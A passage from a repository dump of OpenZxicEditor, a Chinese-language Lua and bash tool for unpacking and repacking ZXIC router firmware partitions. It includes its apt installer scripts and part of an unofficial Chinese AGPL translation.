log("=====================================") 59 | if type == "squashfs" then -- squashfs 60 | local cmd = string.format("unsquashfs -d \"%s\" \"%s\"", mtd .. "_unpacked", mtd) 61 | log(exec(cmd)) 62 | print("已解包squashfs分区:" .. mtd) 63 | elseif type == "jffs2" then -- jffs2 64 | -- 解包jffs2 65 | local cmd = string.format("jefferson \"%s\" -d \"%s\"", mtd, file_path .. "/" .. imageName .. "_unpacked") 66 | local o = exec(cmd .. " 2>&1") 67 | log(o) 68 | print("已解包jffs2分区:" .. mtd) 69 | else -- 其他类型 70 | print("已忽略" .. type .. "分区:" .. mtd) 71 | end 72 | end 73 | 74 | print("开始解包...") 75 | 76 | -- 读取分区表信息 77 | local partition_data = {} 78 | local jf = io.open(file_path .. "partitions.json", "r") 79 | if jf then 80 | local json_str = jf:read("*a") 81 | partition_data = json.decode(json_str) 82 | jf:close() 83 | end 84 | 85 | -- 遍历分区表,解包各分区 86 | for i, partition in ipairs(partition_data) do 87 | local target_file = file_path .. partition.file 88 | unpack(target_file, partition.fst, partition.file) 89 | end 90 | 91 | print("=====================================") 92 | print("解包完成") 93 | print("=====================================") 94 | print(" ") 95 | -------------------------------------------------------------------------------- /__lib__/prjmove.lua: -------------------------------------------------------------------------------- 1 | -- OpenZxicEditor 2 | -- 版权所有 (C) 2024-2025 MiFi~Lab & OpenZxicEditor Developers. 3 | -- 4 | -- 本程序是自由软件:您可以基于自由软件基金会发布的GNU Affero通用公共许可证的条款下重新分发和/或修改它,或者本许可证第三版或者(由您选择)任何后续版本。 5 | -- 分发本程序是希望它能派上用场,但没有任何担保,甚至也没有对其适销性或特定目的适用性的默示担保。更多细节请参见“GNU Affero通用公共许可证”。 6 | -- 您应该已收到本程序随附的GNU Affero通用公共许可证的副本。如未收到,请参见:http://www.gnu.org/licenses/ 。 7 | -- 8 | -- 读取MTDs/name.txt 9 | local f = io.open("MTDs/name.txt", "r") 10 | local name = f:read("*all") 11 | f:close() 12 | -- 将MTDs/重命名为name 13 | os.rename("MTDs", string.format("z.%d_%s", math.floor((os.time() - 1600000000) / 10), name:gsub(" ", "."))) 14 | -------------------------------------------------------------------------------- /diffindo: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # OpenZxicEditor 4 | # 版权所有 (C) 2024-2025 MiFi~Lab & OpenZxicEditor Developers. 5 | 6 | # 本程序是自由软件:您可以基于自由软件基金会发布的GNU Affero通用公共许可证的条款下重新分发和/或修改它,或者本许可证第三版或者(由您选择)任何后续版本。 7 | # 分发本程序是希望它能派上用场,但没有任何担保,甚至也没有对其适销性或特定目的适用性的默示担保。更多细节请参见“GNU Affero通用公共许可证”。 8 | # 您应该已收到本程序随附的GNU Affero通用公共许可证的副本。如未收到,请参见:http://www.gnu.org/licenses/ 。 9 | 10 | # 获取脚本所在路径 11 | get_script_dir() { 12 | local script_path="$0" 13 | if [ "${script_path:0:1}" != "/" ]; then 14 | script_path="$(command -v readlink >/dev/null 2>&1 && { readlink -f "$script_path" || :; } || { realpath "$script_path" || :; } || echo "$PWD/$script_path")" 15 | fi 16 | local script_dir="$(dirname "$script_path")" 17 | echo "$script_dir" 18 | } 19 | 20 | # 设置工作目录为所在目录 21 | cd "$(get_script_dir)" 22 | 23 | func="$1" 24 | file="$2" 25 | 26 | dm() { 27 | # 解包各个分区 28 | if [ -d "$file" ]; then 29 | # 使用参数路径 30 | lua __lib__/mtdunpk.lua "$file" 31 | elif [ -d "MTDs" ]; then 32 | # 使用默认路径 33 | lua __lib__/mtdunpk.lua 34 | else 35 | # 找不到文件,显示提示 36 | echo "工具用途:" 37 | echo "解包工程文件夹中的所有mtd分区,必需要有json清单" 38 | echo "" 39 | echo "使用方法:" 40 | echo "将名为z.*的工程文件夹路径作为路径参数传入" 41 | echo "或者 将工程文件夹放在同目录下并重命名为MTDs" 42 | echo "" 43 | exit 44 | fi 45 | # 重命名项目文件夹 46 | lua __lib__/prjmove.lua 47 | # end 48 | exit 49 | } 50 | 51 | di() { 52 | # 检查文件是否存在 53 | if [ ! -f "$file" ]; then 54 | # 没有找到文件,将会提示用户如何使用 55 | echo "用途:从完整烧录器固件中分拆出各分区,但不解包" 56 | echo "用法:将源文件路径作为路径参数传入" 57 | else 58 | # 分割传入的文件 59 | lua __lib__/mtdcut.lua "$file" 60 | fi 61 | exit 62 | } 63 | 64 | da() { 65 | # 检查文件是否存在 66 | if [ ! -f "$file" ]; then 67 | # 没有找到文件,将会提示用户如何使用 68 | echo "用途:从完整烧录器固件中分拆出各分区并解包导出工程" 69 | echo "用法:将源文件路径作为路径参数传入" 70 | else 71 | # 分割传入的文件 72 | lua __lib__/mtdcut.lua "$file" 73 | echo "" 74 | dm 75 | fi 76 | exit 77 | } 78 | 79 | cm() { 80 | # 先打包 再合并 81 | if [ -d "$file" ]; then 82 | # 使用参数路径 83 | sudo lua __lib__/mtdrepk.lua "$file" 84 | elif [ -d "MTDs" ]; then 85 | # 使用经典路径 86 | sudo lua __lib__/mtdrepk.lua "MTDs" 87 | else 88 | # 没有找到文件,将会提示用户如何使用 89 | echo "工具用途:" 90 | echo "重新打包工程文件夹中所有已解包的mtd分区" 91 | echo "" 92 | echo "使用方法:" 93 | echo "将名为z.*的工程文件夹路径作为路径参数传入" 94 | echo "或者 将工程文件夹放在同目录下并重命名为MTDs" 95 | echo "" 96 | fi 97 | exit 98 | } 99 | 100 | ci() { 101 | # 合并所有MTD为全镜像 102 | if [ -e "$file" ]; then 103 | # 使用参数路径 104 | lua __lib__/mtdjoin.lua "$file" 105 | elif [ -d "MTDs" ]; then 106 | # 使用经典路径 107 | lua __lib__/mtdjoin.lua "MTDs" 108 | else 109 | # 没有找到文件,将会提示用户如何使用 110 | echo "工具用途:" 111 | echo "合并各mtd分区,生成完整的烧录器固件" 112 | echo "" 113 | echo "使用方法:" 114 | echo "1. 直接将源文件夹作为路径参数传入" 115 | echo "2. 将源文件夹放到当前目录下,并重命名为MTDs" 116 | echo "" 117 | echo "支持类型:" 118 | echo "1. 名称以z.开头的工程文件夹,由 dismantle-image 工具生成" 119 | echo "2. 内含全部mtd分区文件的文件夹,通常是adb提取产生的" 120 | echo "" 121 | fi 122 | exit 123 | } 124 | 125 | ca() { 126 | # 先打包 再合并 127 | if [ -d "$file" ]; then 128 | # 使用参数路径 129 | sudo lua __lib__/mtdrepk.lua "$file" 130 | lua __lib__/mtdjoin.lua "$file" 131 | elif [ -d "MTDs" ]; then 132 | # 使用经典路径 133 | sudo lua __lib__/mtdrepk.lua "MTDs" 134 | lua __lib__/mtdjoin.lua "MTDs" 135 | else 136 | # 没有找到文件,将会提示用户如何使用 137 | echo "工具用途:" 138 | echo "一键重新打包工程文件夹中解包的分区,并导出完整烧录器固件" 139 | echo "等同于 依次运行 repack-mtd 和 merge-mtd" 140 | echo "" 141 | echo "使用方法:" 142 | echo "将名为z.*的工程文件夹路径作为路径参数传入" 143 | echo "或者 将工程文件夹放在同目录下并重命名为MTDs" 144 | echo "" 145 | fi 146 | } 147 | 148 | if [ "$func" = "-d" ]; then 149 | da 150 | elif [ "$func" = "-dm" ]; then 151 | dm 152 | elif [ "$func" = "-di" ]; then 153 | di 154 | elif [ "$func" = "-c" ]; then 155 | ca 156 | elif [ "$func" = "-cm" ]; then 157 | cm 158 | elif [ "$func" = "-ci" ]; then 159 | ci 160 | else 161 | echo 用法: ./diffindo [选项] [路径] 162 | echo 可用于解包或打包ZXIC路由器固件。 163 | echo 164 | echo 当前版本支持以下操作选项: 165 | echo -e "\t -d \t 完全解包烧录器固件中的文件" 166 | echo -e "\t -c \t 将解包文件打包成烧录器固件" 167 | echo -e "\t -di \t 只从烧录器固件中提前分区" 168 | echo -e "\t -dm \t 从提取的分区中解包出文件" 169 | echo -e "\t -cm \t 将解包出的文件制作成分区" 170 | echo -e "\t -ci \t 所有分区合并为烧录器固件" 171 | echo 172 | echo 每个参数具体使用方法可以使用 ./diffindo [选项] --help 查看。 173 | echo 174 | fi 175 | -------------------------------------------------------------------------------- /installers/.packages/cstruct.deb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp-3/OpenZxicEditor/ec2aba5a9c6019d7e70c93319bab739ff1f51f89/installers/.packages/cstruct.deb -------------------------------------------------------------------------------- /installers/.packages/dependencies.deb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp-3/OpenZxicEditor/ec2aba5a9c6019d7e70c93319bab739ff1f51f89/installers/.packages/dependencies.deb -------------------------------------------------------------------------------- /installers/.packages/jefferson.deb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp-3/OpenZxicEditor/ec2aba5a9c6019d7e70c93319bab739ff1f51f89/installers/.packages/jefferson.deb -------------------------------------------------------------------------------- /installers/.packages/lzallright.deb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/exp-3/OpenZxicEditor/ec2aba5a9c6019d7e70c93319bab739ff1f51f89/installers/.packages/lzallright.deb -------------------------------------------------------------------------------- /installers/install_apt.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # OpenZxicEditor 4 | # 版权所有 (C) 2024-2025 MiFi~Lab & OpenZxicEditor Developers. 5 | 6 | # 本程序是自由软件:您可以基于自由软件基金会发布的GNU Affero通用公共许可证的条款下重新分发和/或修改它,或者本许可证第三版或者(由您选择)任何后续版本。 7 | # 分发本程序是希望它能派上用场,但没有任何担保,甚至也没有对其适销性或特定目的适用性的默示担保。更多细节请参见“GNU Affero通用公共许可证”。 8 | # 您应该已收到本程序随附的GNU Affero通用公共许可证的副本。如未收到,请参见:http://www.gnu.org/licenses/ 。 9 | 10 | echo ===== 检查路径... 11 | if [ -f ./installers/install_apt.sh ]; then 12 | echo 很好,无需切换目录。 13 | elif [ -f ./install_apt.sh ]; then 14 | cd ../ 15 | echo 已经找到了项目路径并成功切换。 16 | else 17 | # 不知道运行在什么鬼地方,退出安装 18 | echo "当前运行路径错误!请在OpenZxicEditor的所在目录下运行此安装脚本!" 19 | exit 1 20 | fi 21 | echo 22 | 23 | echo ===== 提升权限... 24 | sudo echo 已成功获取ROOT权限! 25 | echo 26 | 27 | echo ===== 刷新仓库... 28 | sudo apt update 29 | sudo apt upgrade -y 30 | echo 31 | 32 | echo ===== 准备环境... 33 | sudo apt install -y lua5.4 python3 python3-pip pipx 34 | echo 35 | 36 | echo ===== 安装依赖... 37 | sudo apt install -y coreutils curl squashfs-tools mtd-utils 38 | pipx reinstall jefferson 39 | pipx install jefferson 40 | pipx ensurepath 41 | echo 42 | 43 | echo ===== 设置属性... 44 | sudo chmod +x diffindo 45 | echo 46 | 47 | echo ===== 安装完成! 48 | sudo apt autoremove -y 49 | sudo apt autoclean -y 50 | read -p "按ENTER键退出..." any_key 51 | clear 52 | exit 53 | -------------------------------------------------------------------------------- /installers/install_apt_beta.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # OpenZxicEditor 4 | # 版权所有 (C) 2024-2025 MiFi~Lab & OpenZxicEditor Developers. 5 | 6 | # 本程序是自由软件:您可以基于自由软件基金会发布的GNU Affero通用公共许可证的条款下重新分发和/或修改它,或者本许可证第三版或者(由您选择)任何后续版本。 7 | # 分发本程序是希望它能派上用场,但没有任何担保,甚至也没有对其适销性或特定目的适用性的默示担保。更多细节请参见“GNU Affero通用公共许可证”。 8 | # 您应该已收到本程序随附的GNU Affero通用公共许可证的副本。如未收到,请参见:http://www.gnu.org/licenses/ 。 9 | 10 | echo ===== 检查路径... 11 | if [ -f ./installers/install_apt.sh ]; then 12 | echo 很好,无需切换目录。 13 | elif [ -f ./install_apt.sh ]; then 14 | cd ../ 15 | echo 已经找到了项目路径并成功切换。 16 | else 17 | # 不知道运行在什么鬼地方,退出安装 18 | echo "当前运行路径错误!请在OpenZxicEditor的所在目录下运行此安装脚本!" 19 | exit 1 20 | fi 21 | echo 22 | 23 | echo ===== 提升权限... 24 | sudo echo 已成功获取ROOT权限! 25 | echo 26 | 27 | echo ===== 刷新仓库... 28 | sudo apt update 29 | sudo apt upgrade -y 30 | echo 31 | 32 | echo ===== 准备环境... 33 | sudo apt install -y ./installers/.packages/cstruct.deb 34 | sudo apt install -y ./installers/.packages/lzallright.deb 35 | sudo apt install -y ./installers/.packages/jefferson.deb 36 | echo 37 | 38 | echo ===== 安装依赖... 39 | sudo apt install -y ./installers/.packages/dependencies.deb 40 | sudo apt-mark auto python3-cstruct python3-lzallright python3-jefferson 41 | echo 42 | 43 | echo ===== 设置属性... 44 | sudo chmod +x diffindo 45 | echo 46 | 47 | echo ===== 安装完成! 48 | sudo apt autoremove -y 49 | sudo apt autoclean -y 50 | read -p "按ENTER键退出..." any_key 51 | clear 52 | exit 53 | -------------------------------------------------------------------------------- /开源许可.md: -------------------------------------------------------------------------------- 1 | > 这是 GNU Affero 通用公共许可证(GNU AGPL)的非正式简体中文翻译,由开放原子开源基金会组织翻译。它并未被自由软件基金会发布,也并非使用 GNU AGPL 软件的分发条款的法律声明——只有 GNU AGPL 的原始英文版才有法律意义。不过,我们希望本翻译能够帮助简体中文用户更好地理解 GNU AGPL。您可以发布本翻译的修改版或原版,但您必须基于 http://www.gnu.org/licenses/translations.html 的条款发布。 2 | 3 | ## GNU Affero 通用公共许可证 4 | 5 | 第三版 2007 年 11 月 19 日 6 | 7 | 版权所有 © 2007 自由软件基金会公司 8 | 9 | 任何人皆可复制或分发本许可证的逐字不差的副本,但不得修改。 10 | 11 | --- 12 | 13 | ## 序言 14 | 15 | GNU Affero 通用公共许可证是面向软件及其他作品形式的、自由的著佐权许可证,为针对网络服务器软件情形下保障社区合作而专门设计。 16 | 17 | 大多数软件及其他实用作品的许可协议皆被设计用于剥夺您的分享和修改作品的自由。相反,我们的通用公共许可证则旨在保证您可分享和修改程序的所有版本——以确保它对于所有用户来说都是自由软件。 18 | 19 | 当我们谈及自由软件,强调的是自由,而非免费。我们的通用公共许可证被设计用于确保您可以自由地分发自由软件副本(如您愿意,可以对此收费),确保您能够接收到该自由软件的源代码或者在您想要的时候能够得到,确保您可修改该软件或在新的自由程序中复用该软件的片段,并确保您知悉可以这么做。 20 | 21 | 采用我们的通用公共许可证的开发者通过两个步骤保障您的权利:(1)在软件上申明版权;(2)向您提供本许可证,以授予您复制、分发和/或修改软件的法律许可。 22 | 23 | 捍卫所有用户的自由还有一个好处,就是如果在程序的其他版本中做出的改进得到广泛应用,上述改进可供其他开发者获取并采用。由此产生的合作使得自由软件的许多开发者感到振奋和鼓舞。但是对于运行在网络服务器上的软件而言,可能无法产生这种合作效果。GNU 通用公共许可证允许制作修改版本并可将其运行在服务器上允许公众访问,而无需将源代码向公众发布。 24 | 25 | GNU Affero 通用公共许可证正是为了保证在该情形下社区可以获得修改后的源代码而专门设计。该许可证要求网络服务器的运营者向该服务器的用户提供修改版本的源代码。因此,在可公开访问的服务器上,公开运行修改版本,则需向公众提供修改版本的源代码。 26 | 27 | Affero 早先发布过一个许可证,名为 Affero 通用公共许可证,旨在实现类似的目标。本许可证是另一个许可证,并非 Affero GPL 的某个版本;不过 Affero 已发布了 Affero GPL 的新版本,其允许在本许可证下再许可。 28 | 29 | 复制、分发和修改的确切条款与条件如下。 30 | 31 | ## 条款与条件 32 | 33 | ### 0. 定义 34 | 35 | “本许可证”是指 GNU Affero 通用公共许可证的第三版。 36 | 37 | “版权”也指适用于其他种类作品的类似版权的法律,例如半导体掩模。 38 | 39 | “本程序”是指在本许可证下许可的任何受版权保护的作品。每个被许可人被称为“您”。“被许可人”和“接收者”可以是个人或组织。 40 | 41 | “修改”作品是指以需获版权许可的方式复制或改编该作品的全部或部分内容,而非制作一个完全相同的副本。由此产生的作品被称为先前作品的“修改版”或“基于”先前作品的作品。 42 | 43 | “被覆盖作品”是指未作修改的本程序或基于本程序的作品。 44 | 45 | “传播”作品是指那些您未经许可对作品所实施的将导致您在适用版权法下承担直接或间接侵权责任的任何行为,但在计算机上执行作品或修改私有副本的行为除外。传播行为包括复制、分发(无论修改与否)、向公众提供,在一些国家还包括其他行为。 46 | 47 | “传递”作品是指使其他各方能够制作或接收副本的任何一种传播方式。仅仅是通过计算机网络与用户交互,而没有转移副本,并不构成传递行为。 48 | 49 | 交互式用户界面对于适当的法律声明的展示应具备一个方便且醒目的特性,从而:(1)展示适当的版权声明,并(2)告知用户:该作品没有任何担保(已提供担保的范围除外)、被许可人可根据本许可证传递该作品,以及如何查阅本许可证的副本。如果该界面呈现的是一个用户命令或选项的列表,例如菜单,则列表中的突出显示的条目即可满足此标准。 50 | 51 | ### 1. 源代码 52 | 53 | 作品的“源代码”指对作品进行修改的首选形式。“目标代码”指作品的任何非源代码形式。 54 | 55 | “标准接口”指由公认的标准机构定义的官方标准的接口,或者对于某一特定编程语言的接口而言,是指在使用该语言的开发者中广泛使用的接口。 56 | 57 | 可执行作品中的“系统库”不是指整个程序,而是涵盖此等内容:(a)以通常形式和“主部件”打包到一起却并非后者一部分,且(b)仅为使作品与“主部件”可一起使用,或为实现一个标准接口(该接口的实现已以源代码形式向公众提供)。“主部件”在这里指该可执行作品运行依赖的特定操作系统(如有)的必要部件(内核、窗口系统等)、生成该作品的编译器,或运行所需的目标代码解释器。 58 | 59 | 目标代码形式的作品的“对应源代码”是指生成、安装及运行(对于可执行作品)目标代码以及修改作品所需的所有源代码,包括控制前述活动的脚本。但它不包括作品的“系统库”,或在执行前述活动时通常被不经修改地使用、但不属于该作品组成部分的通用工具或普遍可得的自由程序。例如,“对应源代码”包括与作品源文件相关的接口定义文件、及专为该作品所需而设计的共享库和动态链接子程序(比如与作品的其他部分之间有着紧密数据通信或控制流的这些子程序)的源代码。 60 | 61 | “对应源代码”不需要包括用户能从“对应源代码”其他部分自动重新生成的任何内容。 62 | 63 | 源代码形式的作品的“对应源代码”即为该作品本身。 64 | 65 | ### 2. 基础许可 66 | 67 | 本许可证授予的所有权利在本程序的版权保护期内授予,且在满足所述条件的情况下不可撤销。本许可证明确认可对您运行未经修改的本程序的无限制许可。仅在运行被覆盖作品所产生的输出(鉴于其内容)也构成被覆盖作品的情况下,该输出才被本许可证覆盖。本许可证认可您享有合理使用的权利或版权法所规定的其他同等权利。 68 | 69 | 只要您的许可证仍然有效,您就可以无条件地制作、运行和传播您没有传递的被覆盖作品。您仅可以以委托他人专门为您修改作品或为您提供运行该作品的设备为目的将被覆盖作品传递给他人,只要您在传递所有您不掌控版权的材料时遵守了本许可证条款。在您的指导和控制下,那些因此为您制作或运行被覆盖作品的人必须完全代表您,且禁止其在与您关系之外制作您的版权材料的任何副本。 70 | 71 | 只有在下述条件下,才允许在任何其他情况下传递被覆盖作品。分许可并不被允许;第 10 条款的规定使分许可没有必要。 72 | 73 | ### 3. 保护用户的法律权利免受反规避法限制 74 | 75 | 不论是根据为满足 1996 年 12 月 20 日通过的《世界知识产权组织版权条约》第 11 条规定义务而制定的任何法律,还是根据禁止或限制规避这些措施的类似法律,被覆盖作品均不得被视为有效技术措施的一部分。 76 | 77 | 在您传递被覆盖作品时,即表明您放弃任何禁止规避技术措施的法律权力,只要这种规避是通过对被覆盖作品行使本许可证下的权利而实现的;且表明您放弃任何限制(用户)操作或修改作品的意图,不会以之对该作品的用户强制执行您或第三方禁止规避技术措施的合法权利。 78 | 79 | ### 4. 传递逐字不差的副本 80 | 81 | 您可以通过任何媒介传递您所收到的本程序源代码的逐字不差的副本,只要您在每份副本上醒目且适当地发布了合适的版权声明;应完整保留所有本许可证的声明及根据第 7 条款添加的适用于代码的任何非许可条款的声明;应完整保留所有无担保的声明;并将本许可证副本和本程序一起交给所有接收者。 82 | 83 | 您可有偿或无偿传递每一份副本,您也可有偿提供支持或担保。 84 | 85 | ### 5. 传递源代码修改版 86 | 87 | 您可根据第 4 条款的规定以源代码形式传递基于本程序的作品、或用于从本程序产生前述作品而做的(对本程序的)修改,只要您同时满足了以下条件: 88 | 89 | - a) 该作品中必须有显著声明,声明您修改了它,并给出相关日期。 90 | 91 | - b) 该作品中必须有显著声明,说明它是基于本许可证以及任何根据第 7 条添加的条件而发布。本条要求构成对第 4 条中“完整保留所有声明”要求的变更。 92 | 93 | - c) 您必须在本许可证下将整个作品作为一个整体,授权给持有副本的任何人。因此本许可证与根据第 7 条而附加的任何条款一起,将适用于整个作品,及其所有部分,无论它们是如何打包的。本许可证不允许以任何其他方式许可该作品,但不会使您单独收到的许可无效。 94 | 95 | - d) 如果作品有交互式用户界面,每个界面都必须展示适当的法律声明;但是,如果本程序的交互式界面并不展示适当的法律声明,您的作品则不需要使其展示。 96 | 97 | 被覆盖作品与其他单独且独立的作品(其在本质上不属于被覆盖作品的扩展,且未与之结合以构成一个更大的程序)在同一存储或分发介质中的汇编,被称为“聚合体”——如果/且该汇编内容及其产生的版权对用户访问作品或相关权利的限制,并不超出其中每个作品所许可的限度。将被覆盖作品置于聚合体中并不会导致本许可证适用于聚合体的其他部分。 98 | 99 | ### 6. 传递非源代码形式(的作品) 100 | 101 | 您可根据第 4 条和第 5 条的规定,以目标代码形式传递被覆盖作品,只要您也根据本许可证的规定以如下方式之一传递了机器可读的“对应源代码”: 102 | 103 | - a) 传递包含或内嵌目标代码的实物产品(包括物理分发介质)时,应将对应源代码存储在通常用于软件交换的耐用物理介质上随附提供。 104 | 105 | - b) 传递包含或内嵌目标代码的实物产品(包括物理分发介质)时应随附书面要约——该要约有效期至少为三年,且只要您为该型号产品提供备件或客户支持,该要约就持续有效——以向任何持有目标代码的人提供:(1)在通常用于软件交换的耐用物理介质上的,该产品中本许可证覆盖下的所有软件的对应源代码副本,可收取不超过源代码实物传递的合理费用,或(2)从网络服务器上免费复制对应源代码的权限。 106 | 107 | - c) 传递目标代码的单个副本并附上一份提供“对应源代码”的书面要约副本。该替代方式仅允许偶尔且非商业性地使用,且仅在您依据第 6b 小节收到附带此要约的目标代码的情况下允许。 108 | 109 | - d) 通过提供从指定地点(免费或收费)获取的途径来传递目标代码,并以同样的方式通过同一地点等同提供“对应源代码”的访问且不收费。您无需要求接收者在复制目标代码的同时复制“对应源代码”。如果在网络服务器上复制目标代码,“对应源代码”可置于支持等同复制设备的另一台服务器上(由您或第三方运营),但您必须在目标代码旁持续清晰地指示,说明可以找到“对应源代码”的地点。无论“对应源代码”置于哪个服务器上,您皆有义务确保该服务器随时可用以满足这些要求。 110 | 111 | - e) 使用点对点(P2P)的传输方式传递目标代码,但您必须告知对等方,该作品的目标代码及“对应源代码”根据第 6 条 d)款被免费提供给公众的地点。 112 | 113 | 系统库作为目标代码可分离的一部分——其源代码不属于“对应源代码”——无需被包含在被传递的目标代码作品中。 114 | 115 | “用户产品”是(1)“消费品”,即通常被用于个人、家庭或家用目的任何有形个人财产,或(2)被设计或销售用于居家的任何产品。在确认一个产品是否是“消费品”时,存疑情形应倾向于判定为符合(消费品定义)。对于特定用户收到的特定产品,“通常使用”指对该类产品的典型或常见用途,不考虑特定用户的身份或被特定用户实际、预期或被预期使用该产品的方式。一个产品无论是否有大量的商业、工业或非消费用途都被视为“消费品”,除非这种用途是该产品的唯一重要使用方式。 116 | 117 | 用户产品的“安装信息”是指基于对应源代码的修改版本、安装和执行该用户产品中的被覆盖作品修改版本所需的任何方法、程序、授权密钥或其他信息。这些信息必须足以确保修改后目标代码的持续运行在任何情况下都不会仅仅因为进行过修改而被阻止或干扰。 118 | 119 | 如您在“用户产品”中,或随“用户产品”一起,或专门用于“用户产品”传递本条规定下的目标代码作品,该传递作为交易的一部分——在该交易中占有和使用“用户作品”的权利永久地或在固定期限内转让给接收者(无论该交易如何定性)——那么根据本条规定传递该“对应源代码”必须附带“安装信息”。但如您或任何第三方皆未保留在“用户产品”上安装修改版目标代码的能力(例如,作品安装在 ROM 中),则该要求不适用。 120 | 121 | 要求提供安装信息并不包括,持续为已被接收者修改或安装的作品或者已被修改或安装的“用户产品”来提供支持服务、担保或更新。当修改本身实质上不利地影响网络的运行或违反了网络通信的规则和协议时,访问网络可能被拒绝。 122 | 123 | 根据本条款传递的对应源代码和提供的安装信息必须是公开记录的格式(并以源代码形式向公众提供实现),并且不需要解包、读取或复制的特殊密码或密钥。 124 | 125 | ### 7. 附加条款 126 | 127 | “附加许可”是对本许可证条款的补充,对其一个或多个条件作出例外规定。如果“附加许可”适用于整个程序,其在适用法律下有效的部分应被视为包含于本许可证内。如果“附加许可”只适用于本程序的一部分,则该部分可以根据“附加许可”单独使用,但整个程序仍仅受本许可证约束而不考虑“附加许可”。 128 | 129 | 当您传递一份被覆盖作品的副本时,您可以选择从该副本或其任何部分删除任何“附加许可”(在某些情况下,“附加许可”可能被写成一旦您修改作品则应删除“附加许可”)。您可以将“附加许可”放在被您添加到被覆盖作品中的材料上,如果您已经或可以对该材料给予适当的版权许可。 130 | 131 | 尽管本许可证有任何其他条款,对于被您添加到被覆盖作品中的材料,您可以(如您得到该材料的版权持有人的授权)用如下条款来补充本许可证的条款: 132 | 133 | - a) 以不同于本许可证第 15 条和第 16 条的条款去免除担保或限制责任;或 134 | 135 | - b) 要求在该材料中或在包含该材料的作品所展示的“适当法律声明”中,保留特定的适当的法律声明或作者署名;或 136 | 137 | - c) 禁止虚报该材料的来源,或要求以合理方式将该材料的修改版标注为与原始版本不同;或 138 | 139 | - d) 限制为宣传目的使用许可人或材料作者的姓名;或 140 | 141 | - e) 拒绝授予商标法下某些商号、商标及服务标识的使用权利;或 142 | 143 | - f) 要求向接收者传递材料(或修改后的材料)并基于合同设定责任的任何人,向许可人和作者赔偿基于合同设定直接强加于许可人和作者的任何责任。 144 | 145 | 所有其他非许可性的附加条款均为视为第 10 条款意义上的“进一步限制”。如果您收到的本程序或其任何部分包含一个声明,说明它受本许可证管辖并同时附上“进一步限制”的条款,您可以自行删除该条款。如果一个许可文件包含“进一步限制”但允许根据本许可证再许可或传递,您则可将该受许可文件管辖的材料添加到被覆盖作品中,只要在此类再许可或传递中并不存在“进一步限制”。 146 | 147 | 如果您按照本条款的规定对被覆盖作品增加了条款,您必须在相关的源文件中说明适用于这些源文件的附加条款,或给一个说明指明适用条款的位置。 148 | 149 | 附加条款,无论是许可性的还是非许可性的,可以以单独的书面许可形式说明,或者作为例外情况形式说明;上述要求对这两种形式均适用。 150 | 151 | ### 8. 权利的终止 152 | 153 | 除非本许可证明确规定,您不得传播或修改被覆盖作品。任何试图以其他方式传播或修改被覆盖作品的行为均为无效,并将自动终止您在本许可证下的权利(包括根据第 11 条 3 款授予的任何专利许可)。 154 | 155 | 但是,如您停止所有违反本许可证的行为,那么您从特定版权持有人处获得的许可将被(1)暂时恢复,除非版权持有人明确地、最终地终止对您的许可;或(2)永久恢复,如在您停止违反行为后 60 天内版权持有人未能以某种合理方式通知您曾违反本许可证。 156 | 157 | 此外,如您首次收到了版权持有人以某种合理方式关于您违反本许可证的通知,且您在收到通知后 30 天内纠正了违反行为,则您从特定版权持有人处获得的许可将被永久恢复。 158 | 159 | 根据本条款终止您的权利,并不终止那些根据本许可证从您处获得副本或权利的各方的许可。如果您的权利已被终止且没有永久恢复,您就没有资格根据第 10 条款获得相同材料的新许可。 160 | 161 | ### 9. 持有副本并不需要接受本许可证 162 | 163 | 您无需为了接收或运行本程序副本而接受本许可证。仅是因为使用点对点传输接收副本而发生的被覆盖作品的辅助传播,您也无需接受本许可证。然而,除了本许可证以外,没有任何其他文件授权您传播或修改任何被覆盖作品。如果您不接受本许可证,这些行为(传播和修改)即构成版权侵权。因此,如果您修改或传播被覆盖作品,就表示您接受了本许可证。 164 | 165 | ### 10. 对下游接收者的自动许可 166 | 167 | 每当您传递一个被覆盖作品时,接收者都自动从原始许可人处获得一个许可,以根据本许可证运行、修改和传播该作品。您没有义务要求第三方遵守本许可证。 168 | 169 | “实体交易”是指转移一个组织或其实质上所有资产的控制权,或拆分一个组织或合并多个组织的交易。如果一个“实体交易”导致被覆盖作品的传播,那么每个收到作品副本的交易方也会收到该方的利益前身根据上一段规定已有的或可以授予的作品许可,以及从利益前身处获得的占有作品“对应源代码”的权利,如果利益前身拥有该权利或通过合理努力能够获得该权利。 170 | 171 | 您不得对行使本许可证授予或确认的权利施加“进一步限制”。例如,您不能对行使本许可证所授予的权利而收取许可费、使用费或其他费用,也不得提起诉讼(包括诉讼中提出交叉诉讼或反诉)去主张对本程序或其任何部分的制造、使用、销售、许诺销售或进口侵犯了任何专利权利要求。 172 | 173 | ### 11. 专利权 174 | 175 | 根据本许可证授权使用本程序或本程序所基于的作品的版权持有人是“贡献者”。如此被授权的作品被称为贡献者的“贡献者版本”。 176 | 177 | 贡献者的“必要专利权利要求”是指贡献者拥有或控制的、无论已取得或后续将取得、以本许可证允许的某种形式制造、使用或销售其贡献者版本而将被侵犯的所有专利权利要求,但不包括仅因贡献者版本的进一步修改而将被侵犯的权利要求。在本定义中,“控制”包括以符合本许可证要求的方式授予专利分许可的权利。 178 | 179 | 每个贡献者根据其必要专利权利要求,授予您非排他的、全球范围的、免许可费的专利许可,以制造、使用、销售、许诺销售、进口及以其他方式运行、修改和传播其贡献者版本内容。 180 | 181 | 在以下三段中,“专利许可”是指不进行专利维权的任何明确同意或承诺(例如,明确允许使用专利或不起诉专利侵权),无论其如何命名。向一方“授予”专利许可,即表示作出不对该方进行专利维权的同意或承诺。 182 | 183 | 如您传递被覆盖作品时,明知道其依赖某一专利许可,且该作品“对应源代码”并没有通过公开的网络服务器或其他容易获得的方式以供任何人根据本许可证的条款免费复制,那么您必须:或者(1)以上述方式提供“对应源代码”,或者(2)安排放弃该特定作品的专利许可权益,或者(3)以符合本许可证要求的方式,将专利许可扩展到所有的下游接收者。“明知依赖”是指您事实上知道如果没有专利许可,您在某个国家传递被覆盖作品或您的接收者在某个国家使用被覆盖作品将会侵犯一项或多项可识别专利,且您有理由相信前述专利在该国有效。 184 | 185 | 